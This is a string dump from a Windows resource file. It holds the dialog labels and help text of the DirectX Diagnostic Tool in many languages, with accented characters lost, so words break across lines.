rjestelm
tiedot...
Korvaa DirectDraw'n virkistystaajuus (ei perusk
t) napsauttamalla seuraavaa painiketta:
Korv&aa...
Ratkaise ongelmat, jotka liittyv
t passiivisiin n
laitteisiin, napsauttamalla seuraavaa painiketta:
Pass&iivinen...
MS Shell Dlg
Si vous n'avez pas pu r
soudre le probl
me avec cet outil, voici quelques suggestions
Cliquez sur ce bouton pour acc
l'outil de r
solution des probl
mes DirectX dans l'Aide de Windows
pannage...
Cliquez sur ce bouton pour acc
l'outil de r
solution des probl
mes audio dans l'Aide de Windows
S&on...
Cliquez sur ce bouton pour d
marrer l'outil Informations syst
me de Microsoft
&Infos syst
Cliquez sur ce bouton pour remplacer la fr
quence de rafra
chissement de DirectDraw (r
aux utilisateurs exp
riment
Remp&lacer...
Cliquez sur ce bouton pour r
soudre des probl
mes li
s aux p
riques d'affichage inactifs
riques inactifs...
MS Shell Dlg
- DirectX
Windows:
Windows:
Microsoft:
DirectDraw's (
MS Shell Dlg
Ha ennek az eszk
znek a haszn
val nem tudta megoldani a probl
t, megpr
lhatja m
vetkez
lehet
geket:
A Windows s
ban tal
DirectX hibakeres
elind
&Hibakeres
A Windows s
ban tal
Hang hibaelh
elind
H&ang...
A Microsoft Rendszerinform
elind
MSI&nfo...
A DirectDraw friss
si frekvenci
nak fel
sa (csak tapasztalt felhaszn
knak):
Az inakt
v megjelen
kkel kapcsolatos hib
k kijav
&Inakt
MS Shell Dlg
Se il problema non
stato risolto,
possibile effettuare una delle seguenti operazioni:
Fare clic su questo pulsante per visualizzare la risoluzione dei problemi di DirectX della Guida di Windows:
Risolu&zione dei problemi...
Fare clic su questo pulsante per visualizzare la risoluzione dei problemi audio della Guida di Windows:
&Audio...
Fare clic su questo pulsante per avviare l'utilit
Microsoft System Information:
&MSInfo...
Fare clic su questo pulsante per sostituire la frequenza di aggiornamento di DirectDraw (solo per utenti esperti):
Sostituis&ci...
Fare clic su questo pulsante per risolvere problemi relativi a periferiche video inattive:
&Inattive...
MS UI Gothic
Windows
DirectX
(&T)...
Windows
(&U)...
Microsoft
(&M)...
DirectDraw
(&O)...
(&I)...
Windows
DirectX
(&T)...
Windows
(&U)...
Microsoft
(&M)...
DirectDraw
(&O)...
(&I)...
MS Shell Dlg
Als u het probleem niet met dit hulpprogramma hebt kunnen oplossen, biedt een van de volgende mogelijkheden wellicht een oplossing:
Klik op deze knop als u de probleemoplosser van Windows Help voor DirectX wilt proberen:
&Probleem oplossen...
Klik op deze knop als u de probleemoplosser van Windows Help voor geluid wilt raadplegen:
&Geluid...
Klik op deze knop als u het hulpprogramma Microsoft Systeeminfo wilt starten:
&MSInfo...
Klik op deze knop als u de vernieuwingsfrequentie van DirectDraw wilt wijzigen (alleen voor ervaren gebruikers):
&Wijzigen...
Klik op deze knop als u problemen met niet-actieve weergaveapparaten wilt omzeilen:
&Niet-actief...
MS Shell Dlg
Her er noen andre ting du kan gj
re hvis problemet ikke ble l
st med dette verkt
Klikk denne knappen for
ve feils
king i forbindelse med DirectX i Hjelp for Windows:
&Feils
king...
Klikk denne knappen hvis du vil pr
ve feils
king for lyd i Hjelp for Windows:
&Lyd...
Klikk denne knappen for
starte Microsoft Systeminformasjon:
&MSInfo...
Klikk denne knappen for
overstyre oppdateringsfrekvensen for DirectDraw (bare for avanserte brukere):
&Overstyr...
Klikk denne knappen hvis du vil omg
problemer som gjelder inaktive skjermenheter:
&Inaktiv...
MS Shell Dlg
eli nie uda
rozwi
problemu za pomoc
tego narz
dzia, oto lista innych rozwi
Kliknij ten przycisk, aby wypr
dzie Pomocy systemu Windows do rozwi
zywania problem
w z DirectX:
&Rozwi
zywanie problem
Kliknij ten przycisk, aby u
dzia do rozwi
zywania problem
kiem w Pomocy systemu Windows:
Kliknij ten przycisk, aby uruchomi
dzie informacji o systemie Microsoft:
&MSInfo...
Kliknij ten przycisk, aby zast
stotliwo
ania modu
u DirectDraw (tylko dla zaawansowanych u
ytkownik
Kliknij ten przycisk, aby obej
problemy zwi
zane z nieaktywnymi urz
dzeniami wy
wietlaj
&Nieaktywne...
MS Shell Dlg
Se voc
o tiver conseguido resolver o problema com esta ferramenta, h
outros procedimentos a serem seguidos:
Clique neste bot
o para usar a solu
o de problemas da 'Ajuda' do Windows para o DirectX:
S&olucionar problemas...
Clique neste bot
o para usar a solu
o de problemas de som da 'Ajuda' do Windows:
&Som...
Clique neste bot
o para iniciar a ferramenta de informa
es do sistema Microsoft:
&MSInfo...
Clique neste bot
o para substituir a taxa de atualiza
o do DirectDraw (somente para usu
rios avan
ados):
S&ubstituir...
Clique neste bot
o para solucionar problemas relacionados com dispositivos de v
deo inativos:
&Inativo...
MS Shell Dlg
DirectX
Windows:
Windows:
MSInfo...
DirectDraw (
MS Shell Dlg
Om du inte kunde l
sa problemet med detta verktyg, kan du f
ka med n
got av f
ljande:
Klicka p
denna knapp om du vill f
ka med Windows-hj
lpens fels
kare f
r DirectX:
Klicka p
den h
r knappen om du vill prova fels
karen f
r ljud i Windows-hj
&Ljud...
Klicka p
denna knapp om du vill starta verktyget Systeminformation:
&MSInfo...
Klicka p
den h
r knappen om du vill
tta uppdateringshastigheten f
r DirectDraw (endast f
r avancerade anv
ndare):
sid&os
Klicka p
den h
r knappen om du har problem med inaktiva bildsk
rmsenheter:
&Inaktiv...
MS Shell Dlg
Sorunu bu ara
zemediyseniz, di
er yapabilecekleriniz
unlard
Windows Yard
n DirectX sorun gidericisini denemek i
in bu d
meyi t
&Sorun Gider...
Windows Yard
n Ses sorun gidericisini denemek i
in bu d
meyi t
S&es...
Microsoft Sistem Bilgileri Arac
latmak i
in bu d
meyi t
&MSInfo...
DirectDraw'un yenileme oran
ersiz k
lmak i
in bu d
meyi t
n (yaln
zca ileri kullan
ersiz &K
Etkin olmayan g
yla ilgili sorunlar
zmek i
in bu d
meyi t
E&tkin De
Windows
DirectX
(&T)...
Windows
(&U)...
Microsoft
(&M)...
DirectDraw
(&O)...
(&I)...
MS Shell Dlg
o foi poss
vel resolver o problema com esta ferramenta, seguem procedimentos que pode tentar executar:
Clique neste bot
o para tentar a resolu
o de problemas do DirectX da 'Ajuda do Windows':
Resolu
o de pro&blemas...
Clique neste bot
o para tentar a resolu
o de problemas de som da ajuda do Windows:
So&m...
Clique neste bot
o para iniciar a ferramenta 'Informa
es de sistema' da Microsoft:
MSIn&fo...
Clique neste bot
o para alterar a frequ
ncia de actualiza
o do DirectDraw (apenas para utilizadores experientes):
Al&terar...
Clique neste bot
o para resolver problemas relacionados com dispositivos de visualiza
o inactivos:
&Inactivos...
MS Shell Dlg
Si no pudo resolver el problema con esta herramienta, puede tratar de hacer lo siguiente:
Haga clic en este bot
n para probar el solucionador de problemas DirectX de la Ayuda:
S&olucionar problemas...
Haga clic en este bot
n para usar el solucionador de problemas de sonido de la Ayuda de Windows:
Soni&do...
Haga clic en este bot
n para iniciar la herramienta de informaci
n del sistema de Microsoft:
&MSInfo...
Haga clic en este bot
n para suplantar la frecuencia de actualizaci
n de DirectDraw (s
lo para usuarios con experiencia):
Reempla&zar...
Haga clic en este bot
n para solucionar problemas relacionados con dispositivos de pantalla inactivos:
&Inactivos...
DirectPlay
MS Shell Dlg
DirectPlay
DirectPlay r
DirectPlay
(&W)...
(&T)...
DirectPlayVoice
MS Shell Dlg
vodce sou
sti DirectPlayVoice
Testov
duplexn
ho zvuku:
Testov
poloduplexn
ho zvuku:
Testov
mikrofonu:
Sp&ustit pr
vodce...
Po&radce p
DirectPlay Voice
MS Shell Dlg
DirectPlay Voice
Fuld duplex lydtest:
Ikke k
Halv duplex lydtest:
Ikke k
Mikronfontest:
Ikke k
r gui&de...
&Fejlfinding...
DirectPlay Voice
MS Shell Dlg
DirectPlay Voice-Assistent
Vollduplexsoundtest:
Nicht ausgef
Halbduplexsoundtest:
Nicht ausgef
Mikrofontest:
Nicht ausgef
&Assistenten ausf
hren...
&Problembehandlung...
DirectPlay
MS Shell Dlg
DirectPlay
DirectPlay Voice
MS Shell Dlg
DirectPlay Voice Wizard
Full Duplex Sound Test:
Not run
Half Duplex Sound Test:
Not run
Mic Test:
Not run
Run &Wizard...
&Troubleshoot...
DirectPlay-
MS Shell Dlg
Ohjattu DirectPlay-
nitesti
Kaksisuuntainen
nitesti:
ei suoritettu
Yksisuuntainen
nitesti:
ei suoritettu
Mikrofonitesti:
ei suoritettu
Suorita ohjattu testi...
&Vianm
ritys...
DirectPlay Voice
MS Shell Dlg
Assistant DirectPlay Voice
Test audio duplex int
Non ex
Test audio semi-duplex
Non ex
Test micro
Non ex
cuter l'Assistant...
pannage...
DirectPlay Voice
MS Shell Dlg
DirectPlay Voice
DirectPlay hang
MS Shell Dlg
DirectPlay hangvar
Teljes k
hangteszt:
Nincs lefuttatva
ltakoz
hangteszt:
Nincs lefuttatva
Mikrofonteszt:
Nincs lefuttatva
&Hibakeres
DirectPlay Voice
MS Shell Dlg
Test guidato DirectPlay Voice
Test audio Full Duplex:
Non eseguito
Test audio Half Duplex:
Non eseguito
Test microfono:
Non eseguito
&Esegui test guidato...
Risolu&zione dei problemi...
DirectPlay X
MS UI Gothic
DirectPlay
(&W)...
(&T)...
DirectPlay
DirectPlay
(&W)...
(&T)...
DirectPlay Voice
MS Shell Dlg
Wizard DirectPlay Voice
Volledige duplex geluidstest:
Niet uitgevoerd
Half-duplex geluidstest:
Niet uitgevoerd
Microfoontest:
Niet uitgevoerd
&Wizard uitvoeren...
&Probleem oplossen...
DirectPlay-stemme
MS Shell Dlg
Stemmeveiviser for DirectPlay
Helduplekstest:
Ikke kj
Halvduplekstest:
Ikke kj
Mikrofontest:
Ikke kj
r veiviser...
&Feils
king...
DirectPlay Voice
MS Shell Dlg
Kreator programu DirectPlay Voice
Test d
nego dupleksu:
Nie uruchomiono
Test d
dupleksu:
Nie uruchomiono
Test mikrofonu:
Nie uruchomiono
Uruchom &kreatora...
&Rozwi
zywanie problem
DirectPlay Voice
MS Shell Dlg
Assistente do DirectPlay Voice
Teste de som full duplex:
o executado
Teste de som half duplex:
o executado
Teste do microfone:
o executado
Executar &assistente...
S&olucionar problemas...
DirectPlay Voice
MS Shell Dlg
DirectPlay Voice
DirectPlay Voice
MS Shell Dlg
Guiden DirectPlay Voice
Test f
r full duplex f
r ljud:
Har inte k
Test f
r halv duplex f
r ljud:
Har inte k
Mikrofontest:
Har inte k
r guiden...
DirectPlay Voice
MS Shell Dlg
DirectPlay Ses Sihirbaz
Ses S
Ses S
Si&hirbaz
&Sorun Gider...
DirectPlay
DirectPlay
(&W)...
(&T)...
Voz DirectPlay
MS Shell Dlg
Assistente de voz DirectPlay
Tem de som Full Duplex:
o executar
Tem de som Half Duplex:
o executar
Teste de microfone:
o executar
Executar &Assistente...
Resolu
o de pro&blemas...
Voz de DirectPlay
MS Shell Dlg
Asistente de voz de DirectPlay
Prueba de sonido de d
plex completo:
No realizada
Prueba de sonido de d
plex medio:
No realizada
Prueba de micr
No realizada
Ejecutar asis&tente...
S&olucionar problemas...
Aceptar
DirectX
MS Shell Dlg
SysTabControl32
DirectX
SysTabControl32
(&S)...
stroj pro diagnostiku rozhran
DirectX
MS Shell Dlg
SysTabControl32
echny informace
&Konec
Diagnosticeringsv
j til DirectX
MS Shell Dlg
SysTabControl32
ste side
&Gem alle oplysninger...
&Afslut
DirectX-Diagnoseprogramm
MS Shell Dlg
SysTabControl32
&Hilfe
chste Seite
Alle &Informationen speichern...
&Beenden
DirectX
MS Shell Dlg
SysTabControl32
DirectX Diagnostic Tool
MS Shell Dlg
SysTabControl32
&Next Page
&Save All Information...
DirectX-diagnostiikkaty
MS Shell Dlg
SysTabControl32
&Seuraava sivu
Ta&llenna kaikki tiedot...
S&ulje
Outil de diagnostic DirectX
MS Shell Dlg
SysTabControl32
Page &suivante
&Enregistrer toutes les informations...
&Quitter
DirectX
MS Shell Dlg
SysTabControl32
DirectX diagnosztikai eszk
MS Shell Dlg
SysTabControl32
&vetkez
oldal
&Minden adat ment
Strumento di diagnostica DirectX
MS Shell Dlg
SysTabControl32
S&uccessiva
&Salva tutte le informazioni...
DirectX
MS UI Gothic
SysTabControl32
(&S)...
DirectX
SysTabControl32
(&S)...
Diagnostisch hulpprogramma voor DirectX
MS Shell Dlg
SysTabControl32
&Volgende pagina
Alle gegevens &opslaan...
&Afsluiten
DirectX-diagnoseverkt
MS Shell Dlg
SysTabControl32
&Hjelp
&Neste side
&Lagre all informasjon...
&Avslutt
dzie diagnostyczne DirectX
MS Shell Dlg
SysTabControl32
&Pomoc
pna strona
Z&apisz wszystkie informacje...
Ferramenta de diagn
stico do DirectX
MS Shell Dlg
SysTabControl32
&Ajuda
xima p
Sal&var todas as informa
DirectX
MS Shell Dlg
SysTabControl32
Diagnostikverktyg f
r DirectX
MS Shell Dlg
SysTabControl32
sta sida
&Spara all information...
&Avsluta
DirectX Tan
MS Shell Dlg
SysTabControl32
S&onraki Sayfa
m Bilgileri Kaydet...
DirectX
SysTabControl32
(&S)...
Ferramenta de diagn
stico do DirectX
MS Shell Dlg
SysTabControl32
Aj&uda
gina &seguinte
&Guardar todas as informa
Herramienta de diagn
stico de DirectX
MS Shell Dlg
SysTabControl32
Ay&uda
g. sig.
&Guardar la informaci
&Salir
MS Shell Dlg
DirectX
DirectX:
Windows
(WHQL)
Static
msctls_progress32
Progress1
DirectX
DirectX
WHQL
Static
msctls_progress32
Progress1
MS Shell Dlg
stroj pod
podrobn
informace o instalovan
ch sou
stech a ovlada
ch rozhran
DirectX. Umo
uje testovat funk
nost, diagnostikovat probl
my a m
nit syst
movou konfiguraci pro zv
konnosti.
te-li, kter
oblast zp
sobuje probl
my, klepn
te na p
nou kartu. V opa
klepn
te na tla
tko Dal
nka a projd
te postupn
echny str
nka Dal
da obsahuje seznam dal
, kter
mohou pomoci vy
it zji
probl
informace
datum a
zev po
Jazyk:
robce syst
Verze syst
m BIOS:
Procesor:
nkovac
soubor:
Verze rozhran
DirectX:
Zkontrolovat digit
podpisy WHQL
Static
msctls_progress32
Progress1
MS Shell Dlg
Dette v
j giver detaljerede oplysninger om DirectX-komponenter og -drivere, som er installeret p
computeren. V
jet lader dig teste funktionalitet, diagnosticere problemer og
ndre systemkonfigurationen, s
den virker bedst.
Hvis du ved, hvilket omr
de, der er skyld i problemet, skal du klikke p
den tilsvarende fane ovenfor. Ellers kan du bruge knappen N
ste side nedenfor for at se hver side i r
Siden "Mere hj
lp" viser nogle andre v
jer, som du m
ske kan bruge til at l
se de aktuelle problemer.
Systemoplysninger
Dags dato/aktuelt klokkesl
Computernavn:
Operativsystem:
Sprog:
Systemproducent:
Systemmodel:
Processor:
Hukommelse:
Sidefil:
DirectX-version:
Kontroller for WHQL digitale signaturer
Static
msctls_progress32
Progress1
MS Shell Dlg
Dieses Hilfsprogramm gibt Ihnen detaillierte Informationen
ber die DirectX-Komponenten und -Treiber dieses Computers. Mit diesem Programm k
nnen Sie die Funktionalit
t testen, Probleme identifizieren und den Computer optimal konfigurieren.
hlen Sie die entsprechende Registerkarte oben, wenn Sie den Bereich des Problems bereits kennen. Andernfalls, klicken Sie auf "N
chste Seite", um alle Seiten nacheinander zu durchsuchen.
Die Seite "Weitere Hilfe" bietet weitere Hilfsprogramme, mit denen Sie das Problem beheben k
Systeminformationen
Aktuelles Datum/Zeit:
Computername:
Betriebssystem:
Sprache:
Systemhersteller:
Systemmodell:
Prozessor:
Arbeitsspeicher:
Auslagerungsdatei:
DirectX-Version:
Auf digitale WHQL-Signaturen
Static
msctls_progress32
Progress1
MS Shell Dlg
DirectX
DirectX:
Static
msctls_progress32
Progress1
MS Shell Dlg
This tool reports detailed information about the DirectX components and drivers installed on your system. It lets you test functionality, diagnose problems, and change your system configuration to work best.
If you know what area is causing the problem, click the appropriate tab above. Otherwise, you can use the "Next Page" button below to visit each page in sequence.
The "More Help" page lists some other tools that may help with the problem you are experiencing.
System Information
Current Date/Time:
Computer Name:
Operating System:
Language:
System Manufacturer:
System Model:
Processor:
Memory:
Page file:
DirectX Version:
Check for WHQL digital signatures
Static
msctls_progress32
Progress1
MS Shell Dlg
kalu raportoi j
rjestelm
n asennettujen DirextX-osien ja -ohjaimien tiedot. Voit testata toiminnallisuutta, diagnosoida ongelmia ja muuttaa j
rjestelm
n kokoonpanoa n
iden tietojen mukaan.
Jos tied
t, mik
alue aiheuttaa ongelmia, napsauta kyseisen alueen v
lilehte
. Muussa tapauksessa voit k
kaikki alueet l
pi valitsemalla Seuraava sivu.
ohjeita-sivulla on lueteltu ty
kaluja, jotka voivat auttaa ongelmien ratkaisemisessa.
rjestelm
tiedot
Nykyinen p
/ aika:
Tietokoneen nimi:
rjestelm
Kieli:
rjestelm
n valmistaja:
rjestelm
n malli:
Suoritin:
Muisti:
Sivutustiedosto:
DirectX-versio:
Etsi WHQL:n digitaalisia allekirjoituksia
Static
msctls_progress32
Progress1
MS Shell Dlg
Cet outil vous permet d'obtenir des informations d
es sur les composants et pilotes DirectX install
s sur votre syst
me. Il vous permet de tester les fonctionnalit
s, diagnostiquer les probl
mes et modifier votre configuration syst
me afin que celle-ci soit optimale.
Si vous connaissez l'origine de ce probl
me, cliquez sur l'onglet appropri
. Sinon, cliquez sur le bouton "Page suivante" ci-dessous pour afficher chaque page l'une apr
s l'autre.
La page "Aide suppl
mentaire" indique d'autres outils qui peuvent vous aider
soudre ce probl
Informations syst
Date/heure du jour
Nom de l'ordinateur
me d'exploitation
Langue
Fabricant du syst
le du syst
Processeur
Fichier de pagination
Version DirectX
Rechercher les signatures num
riques WHQL
Static
msctls_progress32
Progress1
MS Shell Dlg
DirectX
DirectX:
Static
msctls_progress32
Progress1
MS Shell Dlg
Ez az eszk
szletes jelent
st ad a rendszeren tal
DirectX
sszetev
s illeszt
programokr
l. Lehet
teszi a szolg
sok kipr
t, az esetleges probl
k megkeres
s a rendszerkonfigur
t a jobb m
Ha tudja, hogy melyik ter
let okozza a probl
t, akkor kattintson a fent l
l a megfelel
re. Ellenkez
esetben a "K
vetkez
oldal" gombot megnyomva egyes
vel megn
zheti az
sszes lapot.
A "Tov
" lapon olyan eszk
ket tal
l, amelyek esetleg seg
thetnek a probl
ma megold
Rendszerinform
tum/id
s rendszer:
Nyelv:
Rendszer gy
Rendszer t
Processzor:
DirectX-verzi
WHQL digit
lis al
sainak ellen
Static
msctls_progress32
Progress1
MS Shell Dlg
Questo strumento consente di ottenere informazioni dettagliate sui componenti e i driver DirectX installati nel sistema. Grazie ad esso
inoltre possibile testare il funzionamento, diagnosticare i problemi e modificare la configurazione del sistema per ottimizzare le prestazioni.
stata individuata la causa del problema, fare clic sulla scheda appropriata. In caso contrario, utilizzare il pulsante Successiva per visualizzare l'intera sequenza delle schede.
La scheda Altri argomenti contiene un elenco di altri strumenti utili per risolvere il problema.
Informazioni di sistema
Data/Ora corrente:
Nome computer:
Sistema operativo:
Lingua:
Produttore sistema:
Modello sistema:
Processore:
Memoria:
File di paging:
Versione DirectX:
Controlla firme digitali WHQL
Static
msctls_progress32
Progress1
MS UI Gothic
DirectX
DirectX
Static
msctls_progress32
Progress1
DirectX
DirectX
Static
msctls_progress32
Progress1
MS Shell Dlg
Dit hulpprogramma geeft gedetailleerde gegevens over de op het systeem ge
nstalleerde DirectX-onderdelen en stuurprogramma's. U kunt met dit programma de functionaliteit testen, problemen onderzoeken en de systeemconfiguratie optimaliseren.
Als u weet welk gebied het probleem veroorzaakt, kunt u hierboven op het desbetreffende tabblad klikken. Klik anders op de knop Volgende pagina om elke pagina te bekijken.
Op de pagina Meer Help vindt u enkele andere hulpprogramma's die misschien kunnen helpen bij het oplossen van het probleem.
Systeeminfo
Huidige datum/tijd:
Computernaam:
Besturingssysteem:
Systeemfabrikant:
Systeemmodel:
Processor:
Geheugen:
Wisselbestand:
DirectX-versie:
Controleren op digitale handtekeningen van WHQL
Static
msctls_progress32
Progress1
MS Shell Dlg
Dette verkt
yet rapporterer detaljert informasjon om installerte DirectX-komponenter og -drivere p
systemet. Du kan teste funksjonalitet, unders
ke problemer, og endre systemkonfigurasjonen s
den blir optimal.
Hvis du vet hvilket omr
de som skaper problemet, velger du den aktuelle kategorien ovenfor. Hvis ikke, kan du bruke knappen Neste side nedenfor for
ke alle sidene sekvensielt.
Siden Mer hjelp viser en liste over noen andre verkt
y som kan l
se problemet som har oppst
Systeminformasjon
Gjeldende dato/klokkeslett:
Datamaskinnavn:
Operativsystem:
Systemprodusent:
Systemmodell:
Prosessor:
Minne:
Sidevekslingsfil:
DirectX-versjon:
Kontroller WHQL-signaturer
Static
msctls_progress32
Progress1
MS Shell Dlg
To narz
dzie tworzy raporty zawieraj
ce szczeg
owe informacje na temat sk
w programu DirectX i sterownik
w zainstalowanych w systemie. Pozwala ono na testowanie funkcjonalno
ci, diagnozowanie problem
w i zmienianie konfiguracji systemu, tak aby dzia
on jak najlepiej.
eli wiesz, co powoduje problem, kliknij odpowiedni
ej. Je
eli nie, mo
esz klikn
przycisk
pna strona
ej, aby po kolei przej
do ka
dej strony.
Strona
cej pomocy
zawiera list
innych narz
dzi, kt
re mog
c w rozwi
zaniu napotkanego problemu.
Informacje o systemie
ca data/godzina:
Nazwa komputera:
System operacyjny:
Producent systemu:
Model systemu:
Procesor:
Plik stronicowania:
Wersja programu DirectX:
Test podpis
w cyfrowych WHQL
Static
msctls_progress32
Progress1
MS Shell Dlg
Esta ferramenta fornece informa
es detalhadas sobre os componentes e drivers do DirectX instalados no sistema. Ela permite que voc
teste a funcionalidade, diagnostique problemas e altere a configura
o do sistema para que ele funcione melhor.
Se voc
souber que
rea est
causando o problema, clique na guia adequada acima. Caso contr
rio, voc
pode usar o bot
xima p
gina' abaixo para visitar cada p
gina em seq
gina 'Mais ajuda' lista outras ferramentas que podem ajud
-lo a resolver o seu problema.
Informa
es do sistema
Data/hora atual:
Nome do computador:
Sistema operacional:
Idioma:
Fabricante do sistema:
Modelo do sistema:
Processador:
Arquivo de pagina
o do DirectX:
Verificar assinaturas digitais do WHQL
Static
msctls_progress32
Progress1
MS Shell Dlg
DirectX.
DirectX:
Static
msctls_progress32
Progress1
MS Shell Dlg
Detta verktyg rapporterar detaljerad information om komponenter och drivrutiner f
r DirectX som
r installerade p
systemet. Du kan testa funktionalitet, diagnostisera problem och anpassa systemkonfigurationen.
Om du vet inom vilket omr
de felet finns, kan du klicka p
motsvarande flik ovan. Annars kan du bl
ddra dig fram med hj
lp av knappen N
sta sida.
sidan Ytterligare hj
s ytterligare verktyg som kan hj
lpa dig l
sa problemen.
Systeminformation
Aktuellt datum/tid:
Datornamn:
Operativsystem:
Systemtillverkare:
Systemmodell:
Processor:
Minne:
xlingsfil:
DirectX-version:
Kontrollera digitala WHQL-signaturer
Static
msctls_progress32
Progress1
MS Shell Dlg
Bu ara
, sisteminizde y
DirectX bile
enleri ve s
leri hakk
nda detayl
bilgi raporlar.
levselli
, sorunlar
en iyi
ekilde
in sistem yap
tirmenizi sa
Hangi alan
n soruna neden oldu
unu biliyorsan
z, yukar
da uygun sekmeyi t
n. Aksi halde, s
rayla her sayfaya gitmek i
daki "Sonraki Sayfa" d
mesini kullanabilirsiniz.
"Daha Fazla Yard
m" sayfas
z sorunla ilgili yard
olabilecek di
er baz
listeler.
Sistem Bilgisi
erli Tarih/Saat:
Bilgisayar Ad
letim Sistemi:
Sistem
reticisi:
Sistem Modeli:
lemci:
Bellek:
Disk belle
i dosyas
DirectX S
WHQL dijital imzalar
denetle
Static
msctls_progress32
Progress1
DirectX
DirectX
WHQL
Static
msctls_progress32
Progress1
MS Shell Dlg
Esta ferramenta fornece informa
es detalhadas sobre os componentes do DirectX e sobre os controladores instalados no sistema. Permite testar a funcionalidade, diagnosticar problemas e alterar a configura
o do sistema para melhorar o funcionamento.
Se souber qual a
rea que est
a causar o problema, clique no separador apropriado acima. Caso contr
rio, pode utilizar o bot
gina seguinte" abaixo para visitar cada p
gina em sequ
gina "Mais ajuda" lista algumas outras ferramentas que podem ajudar no problema que est
a ocorrer.
Informa
es de sistema
Hora/data actual:
Nome do computador:
Sistema operativo:
Idioma:
Fabricante do sistema:
Modelo do sistema:
Processador:
Ficheiro de pagina
o do DirectX:
Procurar assinaturas digitais WHQL
Static
msctls_progress32
Progress1
MS Shell Dlg
Esta herramienta informa detalladamente acerca de los componentes y controladores de DirectX instalados en su sistema. Le permite probar la funcionalidad, diagnosticar problemas y cambiar la configuraci
n de su sistema para un mejor funcionamiento.
Si sabe cu
l es la causa del problema, haga clic en la ficha superior apropiada. Si no es as
, utilice el bot
n inferior "P
gina siguiente" para visitar las p
ginas secuencialmente.
gina "M
s ayuda" lista otras herramientas que pueden ayudarle a resolver su problema que est
experimentando.
Informaci
n del sistema
Fecha y hora actuales:
Nombre del equipo:
Sistema operativo:
Idioma:
Fabricante del sistema:
Modelo del sistema:
Procesador:
Memoria:
Archivo de paginaci
n de DirectX:
Comprobar firmas digitales de los Laboratorios de calidad de hardware de Windows (WHQL)
Static
msctls_progress32
Progress1
MS Shell Dlg
SysListView32
RichEdit20A
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
rkninger
RichEdit20A
MS Shell Dlg
SysListView32
Anmerkungen
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
Huomautuksia
RichEdit20A
MS Shell Dlg
SysListView32
Remarques
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
Megjegyz
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS UI Gothic
SysListView32
RichEdit20A
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
Opmerkingen
RichEdit20A
MS Shell Dlg
SysListView32
Merknader
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
Observa
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
rkningar
RichEdit20A
MS Shell Dlg
SysListView32
Notlar
RichEdit20A
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS Shell Dlg
SysListView32
RichEdit20A
MS Shell Dlg
Chip:
WHQL:
DirectX
DirectDraw:
DirectDraw
Direct3D:
Direct3D
RichEdit20A
DirectX R
DirectDraw
DirectDraw(&T)
Direct3D
Direct3D(&E)
RichEdit20A
MS Shell Dlg
robce:
Typ DAC:
Celkov
im zobrazen
Monitor:
Ovlada
ovlada
Verze:
Datum:
Certifikov
no WHQL:
Mini VDD:
Verze DDI:
Funkce rozhran
DirectX
Akcelerace rozhran
DirectDraw:
Te&st rozhran
DirectDraw
Akcelerace rozhran
Direct3D:
T&est rozhran
Direct3D
Akcelerace textur portu AGP:
RichEdit20A
MS Shell Dlg
Producent:
Chip-type:
DAC-type:
Hukommelse i alt (ca.):
Aktuel sk
rmtilstand:
Drivere
Hoveddriver:
Version:
WHQL-logo:
Mini-VDD:
DDI-version:
DirectX-funktioner
DirectDraw Acceleration:
&Test DirectDraw
Direct3D Acceleration:
T&est Direct3D
Acceleration af AGP-struktur:
rkninger
RichEdit20A
MS Shell Dlg
Hersteller:
Chiptyp:
DAC-Typ:
Gesamtspeicher ca.:
Anzeigemodus:
Monitor:
Treiber
Haupttreiber:
Version:
Datum:
Mit WHQL-Logo:
Mini-VDD:
DDI-Version:
DirectX-Funktionen
DirectDraw-Beschleunigung:
DirectDraw &testen
Direct3D-Beschleunigung:
Direct3D t&esten
AGP-Oberfl
chenbeschleunigung:
Anmerkungen
RichEdit20A
MS Shell Dlg
chip:
WHQL:
DirectX
DirectDraw:
DirectDraw
Direct3D:
Direct3D
RichEdit20A
MS Shell Dlg
Device
Manufacturer:
Chip Type:
DAC Type:
Approx. Total Memory:
Current Display Mode:
Monitor:
Drivers
Main Driver:
Version:
WHQL Logo'd:
Mini VDD:
DDI Version:
DirectX Features
DirectDraw Acceleration:
&Test DirectDraw
Direct3D Acceleration:
T&est Direct3D
AGP Texture Acceleration:
RichEdit20A
MS Shell Dlg
Valmistaja:
Piirityyppi:
DAC-laji:
Koko muisti (arvio):
Nykyinen n
Tarkkailu:
Ohjaimet
ohjain:
Versio:
WHQL-logo:
Mini VDD:
DDI:n versio:
DirectX-ominaisuudet
DirectDraw-kiihdytys:
&Testaa DirectDraw
Direct3D-kiihdytys:
T&estaa Direct3D
AGP-kuviokiihdytys:
Huomautuksia
RichEdit20A
MS Shell Dlg
Constructeur
Type de processeur
Type de convertisseur (CNA)
moire totale approx.
Mode d'affichage actuel
Pilotes
Pilote principal
Version
VDD mini.
Version DDI
Fonctionnalit
s DirectX
ration DirectDraw
Tester DirectDra&w
ration Direct3D
Tester Direct&3D
ration de texture AGP
Remarques
RichEdit20A
MS Shell Dlg
WHQL:
Mini VDD:
DirectX
DirectDraw:
DirectDraw
Direct3D:
Direct3D
AGP Texture:
RichEdit20A
MS Shell Dlg
Processzor t
sszes mem
Monitor:
Illeszt
programok
illeszt
program:
WHQL embl
Mini VDD:
DDI verzi
DirectX szolg
DirectDraw gyors
A DirectDra&w tesztel
Direct3D gyors
A Direct3D tes&ztel
AGP mint
zatgyors
Megjegyz
RichEdit20A
MS Shell Dlg
Periferica
Produttore:
Tipo di chip:
Tipo DAC:
Totale appross. memoria:
Modalit
vis. corrente:
Monitor:
Driver
Driver principale:
Versione:
Certificato WHQL:
Mini VDD:
Versione DDI:
Funzionalit
DirectX
Accelerazione DirectDraw:
Test Dire&ctDraw
Accelerazione Direct3D:
Test Di&rect3D
Accelerazione trama AGP:
RichEdit20A
MS UI Gothic
Mini VDD :
DirectX
DirectDraw
DirectDraw
Direct3D
Direct3D
RichEdit20A
DirectX 0
DirectDraw
DirectDraw
Direct3D
Direct3D
